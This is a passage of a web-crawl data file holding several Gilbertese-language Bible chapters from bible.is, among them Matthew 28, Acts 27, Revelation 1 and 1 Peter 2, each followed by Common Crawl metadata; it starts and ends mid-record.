rouna, ma I karikai b'a te toro ngai nakoia aomata ni kabaneia b'a N na kabatiaia konau. 20Ngkana I m'akuri i buakoia I-Iutaia, ao I riki n ai aroia I-Iutaia, b'a a aonga n riki ni Kiritian; ao e boni ngae ngkana I aki mena i aan te Tua, ma I riki n ai aron ae I mena i aan te Tua, b'a a aonga n riki ni Kiritian te koraki ake a mena i aan te Tua. 21Ao ngkana I m'akuri i buakoia aomata ake aki tautaekanaki n te tua, ao I riki n ai aroia n aki tautaekanaki n te tua, b'a a aonga n riki b'a Kiritian; ma tiaki nanona b'a aongkoa akea ana tua te Atua i rou, b'a I boni mena i aan ana tua Kristo. 22Ao ngkana I m'akuri i buakoia aika mamara n te onimaki, ao I riki n ai aroia ni mamara, b'a a aonga n riki ni Kristian. I a tia n riki n aekaia aomata nako n aroia nako, ao I karaoi b'aai ni kabane aika I konai, b'a a aonga ni kamaiuaki tem'angina mai buakoia i rou. 23I bane ni karaoi baikai i bukin te euangkerio, b'a e aonga n reke i rou tib'angau mani kab'aia ake iai. 24Kam aki ataia b'a mai buakoia aomata ni kabaneia ake a ira te kabo birim'aaka n te tabo ni biri, ao bon ti temanna ae na reke i rouna te kaniwanga? Kam na biri b'a e aonga n reke i roumi. 25Aomata ni kabaneia aika na ira te kabo n te takakaro a rangi n tabutabui aroia nakoni b'aai nako. A karaoa aei b'a e aonga n reke i rouia te bau ae kai mka, ma ngaira te bau ae aki kona ni mka. 26Ma ngaia ae I aki biri n aki akaaka, ao I aki itau n ai aron temanna ae orea te akea; 27ma I kataneiaa rab'atau n te aro b'a e aonga ni matoatoa, ao I taua taekan arou b'a kanga te toro, b'a e kawa n aki reke arou i mwin tataekinan te euangkerio nakoia tem'angina.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9","date":"2016-06-29T20:08:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397797.77\/warc\/CC-MAIN-20160624154957-00146-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":939,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a toki te Taabati, ngke e a kaan otin taai ni moani bongin te wiiki, ao e nako Nei Maria are te I-M'aketara ma Nei Maria are temanna, ni kawara te nne ni mate b'a a na noria. 2Ao noria, e roko m'aeiein te aba ae korakora; b'a e ruo mai karawa ana anera te Atua, ao e roko ni karabinoa nako te atibu, ao e tekateka i aona. 3Ao e oota ubuna kaanga ai aron te iti, ao e mainaina kunnikaina n ai aron te tinoo. 4A rurubenebene tautia ake a tantani b'a a maaku, ao a riki b'a kaanga ai aroia maate. 5Ao e taku te anera nakoia aine akekei, \"Kam na aki maaku, b'a I ataingkami b'a kam ukoukora Iesu are kamateaki n te kaibangaki. 6Akea ikai, b'a E a tia ni manga uti, n ai aron are E a tia n taku. Nako mai, nora te tabo are E wene iai. 7Ao kawaetataingkami n tuangiia ana reirei b'a, 'E a tia ni manga uti mai buakoia maate; ao noria, are E a ri moami nako Kariraia; ane kam na noria ikekei!. Noria, I a tia n tuangngkami.\" 8Ma ngaia are a kawaetataia n nako man te nne ni mate ma te maaku ao te kukurei ae bati, ao a biri nako n tuangiia ana reirei. 9Ao noria, E bo ma ngaiia Iesu, ao E taku, \"Kam na mauri.\" Ao a nako Ina n taua waena, ao a taromauriia. 10E taku Iesu nako ia, \"Kam na aki maaku! \"Kam na nako n tuangiia tariu b'a a na nako Kariraia, ao ane a na norai ikekei.\" 11Ngke a m'ananga nako, ao noria, iai tautia tabem'aang mai buakoia taan tantani ake a nako n te kawa ao a tuangiia ibonga ake mataniwi taekani b'aai ni kabane ake a tia n riki. 12A botaki ibonga ake mataniwi ma unimm'aane ni karekei aia iango; ao a angania tautia te m'ane ae bati, 13ao a taku, \"Kam na kangai nakoia aomata, A roko ana reirei n te bong ao a iraea rab'atana ngke ti matu. 14Ao ngkana e ongo aei te tia tau-taeka, ao ti na karaua nanona; ao ti na taraia b'a e na akea te kanganga ae na reke nako imi.\" 15Ma ngaia are a anaa te m'ane ao a karaoa aron are a tia n tuangaki; ao te rongorongo arei, are taekaia ana reirei b'a a iraea rab'atana, e a tia ni buta nako irouia I-Iutaia ni karokoa te bong aei. 16A nako Kariraia ana reirei Iesu ake tengauni ma temanna nakon te maunga are E a tia n tuangiia Iesu b'a a na nako iai. 17Ao ngke a noria, ao a katorobubua ni bobaraaki n taromauriia; ma iai tabem'aang i buakoia aika nanokokoraki. 18Ao E roko Iesu, ao E taku nako ia, I a tia n anganaki te m'aaka ni kabanea i karawa ao i aonnaba! 19Ma ngaia ae kam na nako ni karikia aomata nako b'a au reirei, ni b'abetitoia nako nanon aran te Tama ma te Nati ma te Tamnei are Raoiroi, 20ao n reireiniia b'a a na iri nanoni b'aai ni kabane ake I a tia n tuangngkami; ao noria, I a memena i roumi n taai nako ni karokoa tokin aonnaba.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/28","date":"2016-06-25T12:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393146.70\/warc\/CC-MAIN-20160624154953-00190-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":540,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a tia te baire b'a ti na borau nako Itare, ao a anga B'auro ma buure tem'angina nakon aia mataniwi tautia ae Iurio arana, ae mataniwiia te taanga ni buaka ae tebubua kaaina ae ana taanga ni buaka Aukitito. 2Ao ti toka ni kaibuken Areramuteno tewaana, ae nangi borau nakon taabo n rooro i Atia, ao ti borau; ao raora Arititareko ae te I-M'aketonia mai Tetaronike. 3N te bong are i mwina ao ti roko i Titon. E nano n akoi Iurio nakoni B'auro, b'a e kariaia nakona nakoia raoraona i bukini buokana n te bae e kainanoia. 4Ao ngke ti borau mai Titon, ao e tutuki te ang; ma ngaia are ti a ieie ngkanne ri rarikini Kubero n iterana are e aki kare mai iai te ang. 5Ao ngke ti a tia n ri nanoni marawani Kirikia ma Bamburia, ao ti roko i Mura ae kawan Rukia. 6E reke iai taekan te kaibuke tewaana mai Arekanria are e nangi borau nako Itare irouni mataniwin te taanga ni buaka are tebubua kaaina, ao e katokaira iai. 7Ti ieie ni karaurau i nanoni boong aika bati, ma ni kuri n aki roko ni kaani ma te kaawa ae Keniro, i bukina b'a e tukiira te ang; ma ngaia are ti a borau ngkanne ri rarikini Kirete n iterana are e aki kare mai iai te ang, n ri rarikin te kekee are Taremone. 8Ti biri ri rarikina ma te kangaanga, ao ti roko n te tabo teuana ae arana Naamo aika Raraoi, are kaani ma te kaawa are Ratea. 9Ngke ti a maan n tiku iai, ao e a aki raoiroi te m'ananga b'a e nangi reke te kabuanib'ai iai i bukina b'a e a b'aka nako te Bong n Aki-mamatam, ao e anga ana taeka B'auro n i buobuoki ni kangai, 10\"Mm'aane, I ata te borau aei b'a e na kamamate, ao e na kabuanib'ai, tiaki ti nakon te kaibuke ma kanoana, ma nakoni maiura naba.\" 11Ma mataniwin te taanga ni buaka are tebubua kaaina e aki kan ongo n ana taeka B'auro; e ongo riki iroun te kaaben ao te aomata are ana b'ai te kaibuke. 12Ma i bukina ngke e aki raoiroi te ne n roro arei n tain te aumeaang, ao a bati i buakoia ake a taku b'a a riai ni borau mai iai, ngkana tao a kona n roko i Boinike, b'a a na kabanea iai tain te aumeaang; Boinike bon te ne n roro teuana i Kirete ae tara maiaki-maeao ao meaang-maeao. 13Ngke e wai ni karaurau te angi maiaki, ao a taku b'a e na koro bukin aia iango, ma ngaia are a taeka te atinro ao a borau n ri rarikini Kirete ni kaani ma mataniwin te aba. 14Ma e aki maan ao e a kare naba te ang ae baibati, ae arana te \"I-Meaangmainiku\" mai aon te aba. 15E bo te kaibuke iai ao e a aki kona ni buti ni kaitaraa te ang. Ngke akea te bae ti kona ni karaoia, ao e a uotaki nako te kaibuke n te ang. 16Ti buti ri rarikin te aba teuana ae arana Kerauta, n iterana are e aki kare mai iai te ang, ao ti kuri n aki kona n irakea iai ien te boti. 17Ngke a tia n irakea ien te boti, ao a anai roobu ni m'anea rab'atan te kaibuke iai ni kabaea; a maku b'a a rawa ni koro n te kaora ae ab'ab'aki are Tureti, ma ngaia are a tuka aia ie, ao a ukaki nako. 18Ngke ti a bon taonaki n te buaka ae korakora, ao a moanna ngkanne n tetewe nako kanoan te kaibuke n te bong are i mwina; 19ao n te katenibong ao a tetewe nako b'ain nako te kaibuke n oini baiia. 20Ngke e aki kakaoti taai, ao a aki kakaoti naba itoi i nanoni boong aika bati, ao ngke e aki kerikaki matoatoani karen te ang, ao ai bon akea ara kaantaninga teutana b'a ti na kamaiuaki. 21Ngke e a maan te aki-mamatam, ao e tei ngkanne B'auro i buakoia, ao e taku: Mm'aane, e riai ngke kam ongo i rou b'a ti na aki borau mai Kirete, ao e na aki reke iai te uru b'ai ma te kabuanib'ai ae aron aei. 22I tuangngkami ngkai b'a kam na kabebetei nanomi: b'a e na bon aki bua maiun temanna i buakomi, ma ti te kaibuke ae na bua. 23B'a e tei i rarikiu ngke e bong ana anera te Atua, are ana aomata naba ngai, ao are I tataromauria 24ao e kaangai, \"B'auro, tai maku, e riai b'a ko na tei i matani kautun te tautaeka n Rom; ao noria, i bukin ana akoi te Atua nako im, ao a kamaiuaki iai aomata ni kabaneia ake a borau ma ngkoe.\" 25Ma ngaia aei, mm'aane, kam na kabebetei nanomi: b'a I onimakina te Atua b'a e na boni koro bukin are e a tia n taekinaki nako iu. 26Ma ae ti na boni koro n te abam'akoro teuana. 27Ngke ai te katebwi ma aua ni bong, ngke e uouotaki ara kaibuke i nanoni marawan te Mereterenian, ngke tao e a nukanibong, ao a taku i nanoia kaimoa b'a a kaania te aba teuana. 28A taua iabutin taari n aia b'ai ni baire, ao a kunea iai b'a uabwi te nga nanona; ao ngke a nako riki teutana ao a manga taua riki iabutina, ao a noria b'a tengauni ma nima nga. 29A maka koron te kaibuke i aon rakai, ma ngaia are a kab'aka aua te atinro mai bukin te kaibuke, ao a bareka rokon te ngaina. 30Ao ngke a kakaaea angaia kaimoa b'a a na biri nako man te kaibuke, ao a kab'aka te boti i taari b'a aongkoa a na kab'akai atinro mai moan te kaibuke. 31Ma e taku B'auro nakon aia mataniwi te taanga ni buaka are tebubua kaaina, ao nakoia tautia, \"Ngkana a aki tiku uaakai n te kaibuke, ao kam aki konaaki ni kamaiuaki.\" 32Ao tautia a korea ngkanne te robu are e bae iai te boti, ao a kabetinakoa te boti. 33Ngke e a kani ngaina, ao e butiia kaain te kaibuke ni kabaneia B'auro b'a a na am'arake, ao e kaangai, \"Ai te katengauni ma abong ngkai ae kam a tia iai ni kakantaninga, ao kam tuai n am'arake naba teutana. 34Ma ngaia ae I butingkami b'a kam na am'arake, b'a ngaia maiumi; b'a bon akea temanna i buakomi ae e na bua maiuna.\" 35Ngke e a tia n atongi taeka aikai B'auro, ao e anaa teutana te am'arake ao e tataro ni katituaraoa te Atua i mataia ni kabaneia; e anaa ngkanne teutana mai iai, ao e kanna. 36Ngke a bane n reke raun nanoia, ao a am'arake naba. 37M'aitiia ara koraki ni kabaneia i aon te kaibuke bon uabubua itingauni ma onoman. 38Ngke a nuai, ao a kabebetea te kaibuke n tewea nako te uita i tari. 39Ngke e a ngaina, ao a aki kinaa te aba; ma a nora te m'anoku teuana ae iai bikena, ao a iango b'a a na kakoroa te kaibuke iai, ngkana a kona. 40Ma ngaia are, a kab'arai mwin atinro ni katiku i tari, ao a kab'arai naba kabaeani bweena; ao a irakea iena ake mai moa nakon te ang, ao a ie rake. 41A roko n te tabo teuana ae a kaitibo tari iai, ao a kakoroa te kaibuke iai; e koro moana n aki kona ni kakam'akuri, ao e uruaki bukina ni korakoran naao. 42E a tia aia iango tautia b'a a na kamateia buure b'a e kaawa n ua nako temanna i rouia, ao e reke inaomatana. 43Ma iai nanon teuare te mataniwi n te taanga ni buaka are tebubua kaaina ni kani kamaiua B'auro, ma ngaia are e tuka aia iango tautia, ao e tua b'a a na ewe nako moa ake a kona n uaua, ao a na ua rake nakon te aba; 44ao ake nikiraia, a na toka tem'angina i aon raai, ao tem'angina i aoni b'ain nako te kaibuke. Ao a bane ni kamaiuaki n te aro arei b'a a roko n te aba.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27","date":"2016-06-30T19:33:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399117.38\/warc\/CC-MAIN-20160624154959-00058-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1357,"character_repetition_ratio":0.058,"word_repetition_ratio":0.004,"special_characters_ratio":0.255,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabanea ngkanne: taari, ti butingkami ma ni kaungaingkami iroun te Uea are Iesu, b'a ngkai kam a tia n reirei mai roura aromi ni maiu ae riai ae kakukureia te Atua, n aron ae kam b'ainna ngkai ni maiumi, ao kam na kabatia riki karaoana ni maiumi. 2Kam bon atai taian tua ake ti anganingkami ake mairoun te Uea are Iesu. 3B'a aio nanon te Atua i bukini katabuani maiumi b'a ana b'ai: kam na rawa nakon te wene ni bure; 4kam na atai aromi ngkami mm'aane n tatabemaningkami nako, ni maeka ma buumi n te aro ae itiaki ao n te aro ni karinerine, 5ma tiaki n te aro ni kaitataan ni kaib'ab'aru n ai aron ae noraki irouia aomata aika tiaki I-Iutaia aika aki ata te Atua. 6E na aki bure temanna nakon raona ke ni babakanikawaia ni baika kaeti ma aron te mm'aane nakon te aine b'a te Uea boni Ngaia te tia kareke-kai i bukini baikai ni kabane, n ai aron are ti tuangngkami rimoa, ma ni kaotiotia naba. 7B'a E aki weteira te Atua nakon te maiu ni kammaira, ma E weteira b'a ti na b'aina te maiu ae itiaki. 8Ma ngaia are te aomata ae rawa nakon te taeka n reirei aei, ao e aki rawa nakon te aomata, ma e rawa nakon te Atua, are anganingkami Tamneina are Raoiroi. 9Akea kainanoan te koroboki nako imi i bukin aromi n tangiriia raomi ni Kristian: b'a kam a bon tia n reireiaki iroun te Atua b'a kam na i tangitangiri; 10b'a kam bon tangiriia taari ni kabaneia ake a mena i M'aketonia ni kabuta. Ma ti kaungaingkami, taari, b'a kam na kabatia riki karaoana. 11Kam na kataa ae kam kona b'a kam na rau, ao kam na karaoi oin tabemi; kam na m'akuri ni baimi, n ai aron are ti tuangngkami. 12Ao n te aro aei kam na kamoamoaki iai irouia aomata ake tiaki kaain te ekaretia, ao a na akea te bae kam na kainanoia. 13Ti aki tangiringkami taari, b'a kam na aki atai aroia aika mate, b'a kam aonga n aki nanokawaki, n ai aroia tabem'aang akana akea aia kaantaninga. 14B'a ngkana ti kakoaua b'a E mate Iesu ao E a manga uti, ao ti boni kakoaua naba b'a te Atua E na kairiia b'a raon Iesu te koraki ni kabaneia ake a tia ni mate ake a onimakina Iesu. 15B'a ae ti tuangngkami aei bon ana taeka te Uea: ngaira aika ti maiu aika ti tiku ni karokoa rokon te Uea ti na bon aki nako n rimoaia ake a tia ni mate. 16B'a ane E na ruo te Uea mai karawa ma te b'ana ae takarua n taetae, ma b'anaan te anera ae kakannato, ma tangin ana bu te Atua. Ao a na manga uti moa ake a mate ake a onimakina Kristo, 17ao ngaira aika ti maiu n te tai anne ti na uotaki rake ma ngaiia nakon te tabo are a mena iai naang, ao ti na kaitibo ma te Uea i aani karawa; ao n te aro aei ti na memena n taai nako iroun te Uea. 18Ma ngaia ae kam na karau nanomi n taeka aikai.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/4","date":"2016-06-25T21:19:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393533.44\/warc\/CC-MAIN-20160624154953-00190-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":531,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te boki aei bon taekan ana kaotioti Iesu Kristo, are E anganaki iroun te Atua, b'a E na kaotia nakoia ana toro. Kanoan te kaotioti aei bon taekani baika na waetata n roko. E kaoti baikai Kristo iroun ana anera are E kanakoa nakon ana toro ae Ioane, 2are taekini b'aai ni kabane ake e a tia n noori, are ana taeka te Atua ma te koaua are E kaotiotia Iesu Kristo. 3E a kab'aia ane wareki taeka ni burabeti aikai, ao a kab'aia naba akana ongo, akana kawakini baika koreaki i nanon te boki aio; b'a e a kaan te tai are a na riki iai baikai. 4Mairoun Ioane nakoia ekaretia ake itiua ake i Atia: Ami b'ai te akoi ma te raoi mairoun Teuare bon iai ngkai, ao iai ngkoa, ao iai rimwi n aki toki; ami b'ai naba te akoi ma te raoi mairouia tamnei ake itiman ake a memena i nanoaan ana kaintokanuea; 5ao ami b'ai naba te akoi ma te raoi mairoun Iesu Kristo, are kakaonimaki, are te moa ni kamaiuaki mai buakoia maate are E manga uti mai buakoia maate, ao are aia Mataniwi uea i aonnaba. E tangirira, ao E kainaomataira man ara bure ni matena; 6ao E karaoira b'a ibonga n ueana, aika taani beku iroun Atuana ma Tamana: ana b'ai te neboaki ma te m'aaka n tautaeka n aki toki! Amen. 7Noria, E nangi nako mai Kristo ma naang; ao a na bane maata n noria, ao uake a ewaria a na noria naba; ao a na bane n tang aomata nako i aonnaba i bukin te baere e karaoaki nakoina. Eng, Amen. 8E taku te Uea ae te Atua ae Moan te M'aka, ae iai ngkai, ao iai ngkoa, ao iai rimwi n aki toki, \"Boni Ngai te Moa ao te Toki.\" 9Ngai ae Ioane, ae tarimi, ae raomi n uaia n rawawata ma ni kaaina ueani Kristo ma ni b'aina te nanom'aka ngkai ti reitaki ma Iesu, I mena i aon te abam'akoro ae Batemoti, i bukin ana taeka te Atua ao i bukin naba te koaua are E tataekinna Iesu 10I mena i aani m'aakan ana kairiri te Tamnei 11ae kaangai, \"Ane ko noria ao ko na koroia n te boki, ao ko na kanakoa te boki anne nakoia ekaretia ake itiua n taabo aikai: Ebeto, Temurena, Barekamo, Tuateira, Tareteiti, Biraterebia, ao Raorikeia.\" 12Ao I rairaki b'a N na tara te aomata are taetae nako iu, ao I noori itiai kain-tei n taura aika koora, ma taura i aoia n tatabeua nako; 13ao i nuuka i buakoni kain-tei n taura aikai iai temanna ae ai aron taraan natin te aomata ae kunnikaia n te kunnikai ae e toki m'arairaina i aon raurauni waena, ao e kabaeaki b'ab'ana n te b'ai ni kabaebae ae te koora. 14Ao moanibaan te mainaina atuna ma iran atuna; ao matana ai aron taraan uran te ai, 15ao waena ai aron taraan te buraati ae raneanea ae a tia ni kaburoaki ni kaitiakaki n te ai ae ura m'aaka; ao b'anaana ai aroni karongoani b'aron naao aika bati, 16ao e tau itoi aika itiua i nanoni baina are ataina, ao e oti nako mai wina te kabaang ae kakang ae uaitera wina; ao taraan ubuna ai aron taai ae korakora riringana. 17Ngke I noria ao I katorobubua ni bobaraaki i rarikini waena n ai aron te mate; ao E kaaki baina are ataina i aou, ao E kaangai, \"Tai maku! Boni Ngai te Moa ao te Toki. 18Teuare Maiu Ngai; I mate ngkoa, ao noria, I a manga uti n aki toki, ao bon iai irou kingin te mate ma kingin Eriti. 19Ma ngaia ae ko na koroi taekani baika ko noori, aika baika riki ngkai, ma baika na riki rimwi. 20Ao aio te kaantaninga ae raba ae nanonaki n itoi ake itiua, ake ko noori i nanoni baiu ae ataiu, ma kain-tei n taura ake koora ake a tei ma taura i aoia n tatabeua nako: Itoi ake itiua bon aia anera ekaretia ake itiua; ao kain-tei n taura ma taura i aoia n tatabeua nako bon ekaretia ake itiua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1","date":"2016-06-27T10:28:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395679.92\/warc\/CC-MAIN-20160624154955-00200-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":688,"character_repetition_ratio":0.056,"word_repetition_ratio":0.006,"special_characters_ratio":0.242,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae kam na kaaki taian nano n riribai, ma te uarao, ma te baka n raoiroi, ma taiani bakantang, ma taeka ni kamaraki nano ni kabane, 2ao kam na tangira te miriki ae itiaki ae b'ain te nano, n ai aroia merimeri aika tib'a bungiaki, b'a kam aonga n ikawai iai ao kam kamaiuaki; 3N aron are koreaki ni kaangai, \"Kam a tia ni kunea i bon iroumi b'a E ataataiaomata te Uea.\" 4Kam na nakoina, nakon Teuare kanga ai aron te atibu ae maiu, ae kakiaki bonganana irouia aomata, ma E rineaki iroun te Atua b'a e kakawaki. 5Ao ngkami naba kanga ai aron atibu aika maiu aika kabonganaki i bukini katean te Tembora n tamnei, ike kam na m'akuri iai b'a ibonga aika ana aomata te Atua, n anga karea n tamnei iroun Iesu Kristo. 6B'a e koreaki n te B'aib'ara ae kaangai: \"Noria, I kawenea te atibu i Tion, ae te atibu ae bouan te maninganinga ae rineaki b'a e kakawaki; ao ane onimakinna ao e na bon aki kamaamaaeaki.\" 7Ma ngaia ae te atibu aei, e kakawaki nakoimi ngkami aika kam onimaki; ma nakoia akana aki onimaki, \"E riki b'a bouan te maninganinga te atibu are kakiaki b'a akea bonganana irouia taani kateitei.\" 8Ao e a manga taku te koroboki teuana: \"Te atibu are a na reke waeia iai aomata ao a tata nako, te atibu are a na b'aka iai.\" A tata nako i bukina b'a a aki ongeaba nakon ana taeka te Atua; ao anne bon nanon te Atua ma ana baire ma ngkoangkoa i bukiia. 9Ma ngkami bon te botannaomata ae kam rineaki, ae ana ibonga te Uea, ae te botannaomata ae itiaki i matan te Atua, ae ana aomata te Atua, ae rineaki b'a e na kaotioti ana m'akuri aika kamimii Teuare weteingkami man te roo nakon ana oota ae kamimii. 10Tiaki ana botannaomata te Atua ngkami ngkoa, ma ngkai kam a riki b'a ana botannaomata; kam aki nanoangaki ngkoa, ma ngkai kam a nanoangaki. 11Ngkami akana kam tangiraki, I butingkami ngkai kanga iruwa ngkami ao kanga aomata aika maeka n aki maan n te aonnaba aei, b'a a na aki tauaki aromi n iangoan nanomi aika bubuaka aika aki toki ni buakana te maiu are kam anganaki. 12A na raoiroi aroaromi i buakoia aomata aika tiaki I-Iutaia; b'a ngkana a bukiningkami b'a kam karaoa ae buakaka, ao a noori ami m'akuri b'a a raraoi, ao a na neboa te Atua iai n te bong are E na roko iai. 13I bukin te Uea ao kam na ongeaba nakon tuan taian tautaeka nako: b'a tao nakon te king 14ke nakoia akana iai nakoaia ni kairiri n te tautaeka, aika a kanakoaki iroun te king b'a a na kareke kaiia akana kakaraoa ae buakaka, ao a na kamoamoaia akana karaoa ae e raoiroi. 15B'a E tangiringkami te Atua b'a kam na katoki taeka n nano roo aika aia taeka aomata aika nanobaba, ni karaoan ae e raoiroi iroumi. 16Kam na b'aina te maiu n inaomata; ma kam na tai b'aina inaomatami b'a aonami ngkana kam karaoa ae buakaka; ma kam na b'aina te maiu n toro ae maiuia aomata aika tooro iroun te Atua. 17Kam na karineia aomata ni kabaneia, ao tangiriia raomi ni Kristian. Maaka te Atua. Karinea te king. 18Tooro, kam na aan-taeka irouia ami toka ma te maku ae bati; tiaki ti irouia tooka akana raoiroi ma akana nimamannei, ma irouia naba akana buakaka. 19E na kakab'aiaki te aomata iroun te Atua i bukin aei: b'a e ata nanon te Atua i mataniwin nanona, ao e nanom'aka iai ni kamarakaki n te aro ae aki riai. 20B'a tera kamoamoami ae na reke ngkana kam bure ma n oreaki iai, ao kam taotaon nanomi? Ma ngkana kam karaoa ae e raoiroi, ni kamarakaki iai, ao kam taotaon naba nanomi iai, ao kam na kakab'aiaki iai iroun te Atua. 21B'a kam weteaki nako iai: b'a E kamarakaki naba Kristo i bukimi, ao E katuka nakoimi te aro ae kam na kakairi iai, b'a kam aonga n tou mwini m'anekana. 22Akea te bure ae E karaoia, ao E tuai n taekina te kewe. 23Ngke E taetaebuakaki, ao E aki kabooa n te taetaebuaka naba; ngke E kamarakaki, ao E aki taetae b'a E na kareke kaiia ake a kamarakiia; ma E kaaki taekana nakon Teuare motiki raoi taeka. 24Ao E uoti ara bure n rab'atana i aon te kai, b'a ti na mate nakon ara bure ni kitan, ao ti na kabane maiura i bukini karaoan nanon te Atua. Ao kam kamaiuaki n oreana. 25B'a kam tiotio nako ngkoa n ai aroia tiibu; ma kam a oki ngkai nakon te Tia Kawakini maiumi ma te Tia Tararuai.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/2","date":"2016-06-28T03:55:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396455.95\/warc\/CC-MAIN-20160624154956-00186-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":787,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taku Iesu: \"Bon te koaua ni koaua ae I a tuangngkami: b'a ane aki rin ni nen te tiibu man te mataroa, ma e tam'arake man te tabo teuana, ao bon te tia ira ao te tia kam'arua. 2Ma ane rin man te mataroa ao bon te tia kawakin tiibu. 3E kaukaki te mataroa nakoina iroun te tia tantani n te mataroa; a ongo b'anaana tiibu, ao e weteia ana tiibu n araia nako, ao e kairiia ni kaotinakoia. 4Ngke a bane n oti nako ana tiibu, ao e ri moaia, ao tiibu a iria, b'a a kinaa b'anaana. 5A aki kona n ira te ianena, ma a na biri nako mai rouna, b'a a aki kinai b'anaaia ianena. 6E taekina te rongorongo ni kabotau aei Iesu nakoia, ma a aki oota iai b'a tera ae E nanonna. 7Ma ngaia are, E a manga taku Iesu nakoia, \"Bon te koaua ae I a tuangngkami b'a Ngai aia mataroa ni koaua tiibu. 8Taan ira ao taani kam'arua te koraki ni kabaneia ake a roko i m'aiu; ma a aki ongo tiibu i rouia. 9Boni Ngai te mataroa; ngkana e rin te aomata irou, ao e na kamaiuaki: e na rin ao e na oti nako, ao e na karekea kanana. 10Bukin rokon te tia ira bon ti te ira, te kamaamate ao te urub'ai; ma I roko b'a e aonga n reke i rouia te maiu ae koro raoi arona. 11Ngai te tia kawakin tiibu ae e raoiroi. E anga maiuna te tia kawakin tiibu ae e raoiroi i bukiia tiibu. 12Te aomata ane kaboaki ana m'akuri, ane tiaki te tia kawakin tiibu ao tiaki ana man tiibu, ngkana e nora te man ae tiritiri b'a e roko, ao e biri nako ni kitaniia tiibu; e rawea temanna te tiibu te man are tiritiri n tenaia, ao e kauamaaei ake nikiraia. 13E biri nako i bukina ngke te aomata ngaia ae kaboaki ana m'akuri, ao akea nanona irouia tiibu. 14Ngai te tia kawakin tiibu ae e raoiroi; ao I ataiia au tiibu, ao a atai au tiibu, 15n ai aron te Tama ngkae E atai, ao Ngai I ata te Tama; ao I anga nanou b'a N na mate i bukiia tiibu. 16Iai au tiibu tabeman aika aki mena i buakoia tiibu aikai; e riai b'a N na kairiia naba, ao a na ongo b'anaau. N te aro aei, ao a na riki b'a te nanai ae ti teuana, ao ti temanna te tia kawakinia. 17Ma ngaia ae E tangirai te Tama i bukina ngkai I anga nanou b'a N na mate, b'a I aonga ni manga uti. 18Akea ane anaa maiu mairou. I anga n oin nanou. E mena irou te kona n anga, ao te kona n anaia. I anganaki te mwioko aei iroun Tamau. 19I bukin taeka aikai ao a manga aki boraoi naba I-Iutaia n aia iango i bukin Iesu. 20A m'aiti aomata i buakon te koraki arei ake a kaangai, \"Iai i rouna te taimonio, ao e rangirang; kam aera ngkai kam ongora i rouna?\" 21A taku tabem'aang i buakon te koraki naba arei, \"Taeka aikai bon tiaki ana taeka te aomata ae taniaki iroun te taimonio. E kona te kaure mataia matakii te taimonio?\" 22E a bo tain te Toa are Katabuan te Tembora i Ierutarem; bon tain te kam'aitorotoro te tai arei. 23E nanakonako Iesu n te tabo ae aranaki b'a ana kaman Toromon n te Tembora. 24A otab'aninia Iesu I-Iutaia ao a titirakinna ni kaangai, \"Maanraa te tai ae Ko na katikuira iai n tataninga i m'ain ae Ko tuangiira te koaua? Tuangiira raoi te 